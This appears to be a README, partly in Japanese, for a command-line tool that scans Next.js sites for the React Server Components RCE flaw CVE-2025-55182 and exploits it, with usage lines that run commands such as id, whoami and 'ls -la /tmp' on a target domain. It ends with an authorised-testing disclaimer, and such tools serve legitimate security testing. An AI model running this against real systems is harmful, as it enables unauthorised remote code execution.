zack0x01/cve-2025-55182-advanced-scanner-
Next.js アプリケーションにおける CVE-2025-55182（React Server Components RCE）を検出・悪用するためのシンプルなコマンドラインツールです。
chmod +x scanner.sh
# Scan with default command (id)
./scanner.sh -d example.com
# Execute custom command
./scanner.sh -d example.com -c "whoami"
# With full URL
./scanner.sh -d https://example.com -c "uname -a"
-d, --domain - 対象ドメイン/URL（必須）-c, --command - 実行するコマンド（デフォルト: id）# Check if target is vulnerable
./scanner.sh -d vulnerable-app.com
# Get system information
./scanner.sh -d vulnerable-app.com -c "uname -a"
# List files
./scanner.sh -d vulnerable-app.com -c "ls -la /tmp"
このツールは教育目的および正規のセキュリティテスト専用です。所有していない、またはテストの許可を得ていないシステムに対しては使用しないでください。